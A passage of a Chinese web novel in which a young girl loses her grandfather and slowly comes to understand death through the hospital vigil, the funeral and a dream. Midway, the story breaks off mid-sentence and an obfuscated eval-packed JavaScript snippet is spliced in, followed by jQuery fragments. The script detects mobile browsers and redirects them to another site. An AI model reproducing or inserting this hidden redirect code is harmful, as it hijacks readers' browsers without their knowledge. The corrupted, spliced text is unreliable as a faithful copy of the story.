年后开学已经好多天，宋秉志仍在医院。


    宋卫枝跟着宋良和、刘秀去过好多次。医院的味道她不喜欢，卫枝希望阿爷能快点回家。


    望着他淤青的手正贴着胶布扎着针管输液，她不懂这次为什么要输这么多这么久。


    连续骤冷的天气，早上与夜里冻得刺骨。但那日正午的阳光明媚得令气温回暖了不少。宋卫辉看护了一夜，中午他该回家补觉。


    在卫辉离开前，宋秉志靠坐在床边，看神情是好了不少。


    “阿辉，回家的时候记得走树荫下，别晒到自己。”


    “……”卫辉迟疑地应了声，“好。”


    晚上是宋良和在医院陪伴父亲。


    那晚，宋秉志跟他聊了很多，还说了许多关于良和、良平两兄弟小时候的事。


    说他们小时候特别调皮，喜欢跳进池塘抓鱼，气得徐爱莲抽起拖鞋追着他们兄弟俩满村打。等宋秉志晚上下班回家见两个孩子鼻青脸肿的，为了哄他们开心，还背着徐爱莲偷偷带他们去外边买东西吃。


    半夜天太冷，宋秉志睡不着。


    宋良和从护士站多拿了一床棉被给宋秉志盖上，但他依旧觉得很冷，腰酸背疼，还有些喘不上气。


    没办法的宋良和只好让父亲靠着自己怀里，用手给父亲揉背。


    父子俩在深夜聊起了卫枝，还聊到了她的自行车。


    宋秉志说，他答应了回去要给卫枝买自行车。孩子能考这么好，他心里高兴。还说起了想给卫辉买辆摩托车，现在的小伙子都流行骑这个。不过钱都在徐爱莲那，等他病好了回去问徐爱莲要。平时自己没给孩子们多买点好东西，回去了一定给他们多多补上。


    说着说着，宋秉志哽咽了。


    他突然觉得，或许他回不去了。


    眼泪在他眼底打转。


    他不怕死，只是还没跟孩子们告别。那一瞬间，他好想再看看他们，觉得好像平时也没好好看看他们。


    宋良和的眼泪也糊了眼。他或许也感受到了，宋秉志应该是回光返照。


    宋良和两眼的眼泪止不住流，却只是默默地流着，没有发出声音。他含泪静静听着父亲的话。


    宋秉志擦了眼角的泪，叮嘱宋良和。


    “孩子们的学习一定要重视，特别是卫枝的。让她好好学习，将来一定能考上好的大学。农村人还得靠读书才能有更好的选择。”


    “还有卫辉现在不读书了，但也要为他的将来打算，可以让他去当兵。男人就是要出去闯一闯，看看外边的世界，才知道将来自己要过什么样的日子。他特别叮嘱宋良和，一定不能让孩子就这么在村里浑浑噩噩，稀里糊涂过完一生。”


    他又想到大孙女，心疼地说：“卫月从小就很乖，她太早出来打工，最是辛苦，以后……”


    说完了宋良平一家，又说到女儿宋玉珍。


    “阿珍呀，脾气像她妈，火爆。”


    “你和阿平作为大哥的，时常也要多提醒她。徐航人不错，孝顺又老实，让玉珍没事别老骂他。男人不太喜欢整日打自己骂自己的女人。”


    “你妈……”宋秉志再次哽咽。


    “她年纪大了，你们要多看着点她。别老让她在菜园里干活。算了算了，估计你们也劝不动她，她就那样，几十年了就随她吧……”


    说着说着，宋秉志突然盯着门外。


    他忽然有了精神，笑着坐直了身子，又说：“爸妈，你们来了。快进来坐。阿和呀，快让你阿爷阿奶进来坐。”


    宋良和顺着父亲的目光看去，门是掩上的，门外什么也没有。


    他迟疑地问父亲：“爸，你看到什么了。”


    “你阿爷阿奶站在门外呢。他们让我跟他们回家。他们身后还躲着个五六岁的孩子，你看就那。”


    宋秉志指着大门说着。


    宋良和等着父亲继续说，只见他呆呆望着空空的大门。


    “爸……”宋良和轻声叫着。


    宋秉志认认真真地盯着大门，先是笑了笑，后来眼泪蒙了眼。


    “是阿明吗？”宋秉志好像在自说自话地问。


    宋良和心里一悬。


    他当然知道宋秉志口中的阿明是谁。是他很早就病死的哥哥，宋良明。


    “快过来，让阿爸抱抱你，阿爸好想你呀。”


    宋秉志朝门外招手，继续说着抱歉的话。


    “阿明，阿爸实在对不起你。如果当初我没有出去的话，或许你也能平安长大，现在都该有孙子孙女了吧。”


    宋良和见宋秉志眼角的泪花滑落，听他继续说着：“阿和，你看见阿明没有？”


    “嗯，看见了。”宋良和看着空空的门外，安慰父亲说。


    “好吧。阿和，我该走了。家里就拜托你了。我就跟阿明走了，我要去好好陪他了……”


    宋良和见宋秉志嘴角挂着笑，眼角滑落出了最后一滴泪。


    深夜，宋良和抱着父亲，哭得像个孩子……


    *


    第二天中午放学，刘秀去学校接了卫枝并跟老师请好了假。


    卫枝听说阿爷从医院回来了，急跑回家找阿爷。


    屋里没有，但院里来了好多人。卫枝才想起阿妈去接她时眼睛红红的。


    她要阿爷，卫枝到处找着阿爷。不是回来了吗，人去哪了？


    汪汪汪。棉花被关在旁边的院子，它的叫声好似很担心。


    它闻到了小主人的气息，却迟迟不见小主人。着急的棉花一边嚎叫，一边转着圈圈，探着头试图寻找自己的主人。


    “阿枝，你阿爷……”


    刘秀说不下去，只见女儿一直盯着她，等着她告诉自己的阿爷在哪。刘秀抱着女儿，看着她满眼期待的眼神，不忍心往下说。


    卫枝管不了那么多，她一定要找到阿爷。


    她到处看，发现客厅临时搭了草席。厚厚的稻草铺在地上，放上一床草席。米色的粗麻蚊帐耷拉着，里边好像还躺着人。卫枝静静地站着，周围的人来来往往。


    刘秀又拉着女儿，告诉她请了假，下午不用上学。


    但她根本没有听，眼睛四处张望，着急地寻找。


    家里来的人越来越多，平时不怎么见到的亲戚都来了，敲锣打鼓的唱着戏很是热闹，还有很多人在忙碌着洗菜切菜烧火做饭。


    徐爱莲一个人呆在房间里不肯出来。卫枝、瑶瑶、宋玉珍等所有人都坐到了客厅另一侧铺好的稻草丛上。


    汪汪汪——


    卫枝只知道阿爷正静静躺在前边的草席上睡觉。


    他为什么要睡在那里，他为什么要睡那么久，没有人能跟她把话说清楚。


    她也不想再问，只是一味地盯着等着。她打算等阿爷醒了，她自己问。


    他们从下午起就一直静静地坐在稻草丛上。到了晚上，院中锣鼓声跟唱戏声依旧热闹，但客厅异常安静。


    卫枝跟瑶瑶实在坐不住，偷偷玩起了抛石子的游戏。


    院中的嘈杂声中，突然夹杂了两个小孩轻微的咯咯笑声。宋良和与宋良平淡淡地瞥了一眼女儿，嘴角扯出了一抹悲凉的笑意。


    “没事，她们还小，还不懂事。”宋玉珍对周边的人说。


    夜里，刘秀让刘清把卫枝带回屋睡觉。那是卫枝第一次跟姨妈睡，其他人都不睡。


    棉花安安静静地蜷缩在床边的地板上，乖乖地陪着小主人。


    深夜，屋外继续敲锣打鼓唱戏，哭声断断续续。


    翻来覆去的卫枝眼皮渐渐愈来愈重，睡了过去。


    白天，卫枝醒来时见大家仍坐在稻草丛上。


    吃过饭，亲戚拿来了一大袋的白衬衫。


    刘秀让卫月、卫辉、卫双和卫枝套上了崭新的没有清洗过的白衬衫。卫枝看看瑶瑶，瑶瑶也穿好了带着褶皱的衬衫。孩子们的手臂上还被缠上了白色的布条。


    之后，车来了。


    家里全部的人都站了起来，围了上去。


    汪汪汪……


    卫枝在人群中望见几个穿着白袍的大人进入客厅，抬走了蚊帐里的人，那动作像抬一根木头。


    宋良和指责他们太粗暴，要求他们轻一点。他们的动作才变得轻缓、小心翼翼。


    卫枝见阿爷被抬上了一辆白色的面包车，她小小的身影呆呆站在一圈圈大人的身后，越站好像越远。


    他们要把阿爷带去哪里？卫枝想跑上去追问，却突然迈不开步。没一会，她又被一拨人带着往前涌。


    人们纷纷坐上了后边的一辆大巴车，刘秀带着孩子也上了车。


    卫枝和刘秀一块坐，见晓晓抱着瑶瑶坐在前边。


    车上，卫枝听到了一车的哭声。只有她安安静静地坐着，不哭不闹。坐一旁的宋玉珍垂泪的双眼看着一脸疑惑的卫枝，声音沙哑地说：“你阿爷死了。”


    卫枝先是盯着姑姑红肿的双眼，两行泪水从姑姑的眼角滑落。


    卫枝只是静静地盯着，时间好像把她拖去了别处，那里很安静。


    等她回过神，眨了眼睛才抬头看着两眼通红的刘秀，开口问：“阿妈，什么是死？”


    小学课本倒是有写，但她不知道人死了会怎样。她也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17425428|199991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    跟家人一块去亲戚家参加过一些老人的葬礼。那时，她站在院中看着客厅。她看到一个黑黑的棺材摆在中央，周围的人也都哭了。


    但她不知道阿爷怎样会死。


    上次见他还是周末，他好了很多，还说准备可以出院。


    而且她也没看见黑黑的棺材。阿爷肯定只是睡着了，还没醒。


    大人最喜欢骗小孩，她才不会上当。卫枝宁愿乖乖等阿爷起床。


    刘秀抱着卫枝，脸上的眼泪滑落，卫枝擦着滴在自己脸上的眼泪。


    刘秀擦着泪说话声越来越小：“你，你的阿爷再也回不来了。”


    回不来——


    她似懂非懂地看着刘秀哭红的眼睛，姑姑的眼睛。她才想起来阿姐阿哥的眼睛也都是这样。


    宋良和默默低着头。


    卫枝想起了所有人的眼睛，湿湿的，红红的。


    此时行驶的大巴车上，最多的就是哭声。


    呜呜呜——车里的哭声越来越大。


    或许是被传染了，或许是瞬间听懂了。


    卫枝的眼睛突然很痛。眼睛刺痛得红肿酸痛，眼眶挤出了一串眼泪。


    大人都喜欢骗小孩。


    她委屈极了。眼泪突然奔涌而出。


    怎么就回不来了。


    她还在期待着阿爷出院呢。


    他说好了会带我一起去买自行车。他不可能不会回来的。他一定会回家的。阿爷说话最算话了。


    呜呜呜，她想着想着委屈极了。她可以不要自行车。她只要阿爷回家。


    哇哇哇——


    卫枝人生中的第一次眼泪大爆发。哇哇大哭，眼泪根本止不住，大颗的眼泪滚滚落下。


    刘秀抱着女儿陪她一起哭。


    刘秀一直很尊敬公公，觉得他是个了不起的军人。


    刘秀在嫁进来没多久时，还在宋秉志屋里读过他当兵打仗的随军日记。写着某年某月，敌军攻打了哪里，战况怎么样。宋秉志平时没事，只要刘秀问，他都乐意跟她讲讲以前的故事。而且公公还是个十分正直的人，对她和蔡珍珍也跟对自己女儿宋玉珍没什么两样。


    ……


    殡仪馆里等了好一会，宋秉志被推出来已是全新的模样。


    卫枝再次见到阿爷，有些认不出来。她细细打量着躺在花丛上的阿爷。


    他被人精心打扮了一番，奇奇怪怪的样子。头上戴着他从没戴过的黑色薄帽，穿着一身黑色大褂。脸被涂得很白很白，脸颊还被涂了两个红色的大圆点，眼睛上放着两个硬币。他就一直静静地躺着，不管有没有人觉得他的装扮奇不奇怪。


    宋秉志的告别仪式，是在一阵悲痛的哭声中结束的。


    回到家，超度的仪式还在继续。卫月牵着她和卫双，被家人带到院子前边的空地上，有一个人在前边念着咒语、唱着戏。卫月拉着她跟着大家紧随着唱戏人的步伐，绕着烧起熊熊大火的火堆走。


    卫枝盯着那红色的火苗正贪婪地吞噬着一幢纸房子、几个纸人和许多纸做的金山银山、冥纸……


    宋玉珍给大家发了一些硬币，唱戏人指挥着他们往烧着纸房子的火堆里扔硬币。他唱一句，敲一下，又停一下，他们见他停下就往火里扔一次硬币。


    黄昏时，人散了。家也静了。


    卫枝坐在院中的石板上，棉花在她的膝上趴着，三角屋里的西洋鸭嘎嘎地叫着……


    忽然，卫枝从地面缓缓拉长的影子中，看见了背着书包走进院中的林帆。


    她的眼不再红也不再流泪，却还有些肿。


    “老师……”


    “让我把作业本带回来给你。”


    林帆走到卫枝身旁坐下，轻轻摸了摸乖巧懂事的棉花。


    夜晚，卫枝太困很快就睡着了。


    那晚，她做了一个奇怪的梦。在梦里，她找到了阿爷。


    卫枝清晰记得在梦中，那是一个阳光明媚的正午。卫枝跟着卫双和瑶瑶爬到了一栋陌生房子的楼顶。正好看到宋秉志躺在楼顶的躺椅上晒着太阳。和往日一样，宋秉志在阳光下和蔼慈祥，舒舒服服地享受着阳光的亲近。


    卫枝开心地跑到阿爷身边，看见阿爷对她们笑。他们或许聊了很多，但醒来时卫枝基本都忘了。


    只记得在走之前，卫枝问阿爷为什么不跟她们一块回家。


    宋秉志静静站着，眼神暗淡，又摸着孙女的头，不舍而无奈地告诉她，“我再也回不去了。”


    从此卫枝再也没见过阿爷，梦里也没有。


    原来这就是死。在这个世界，永远找不到了。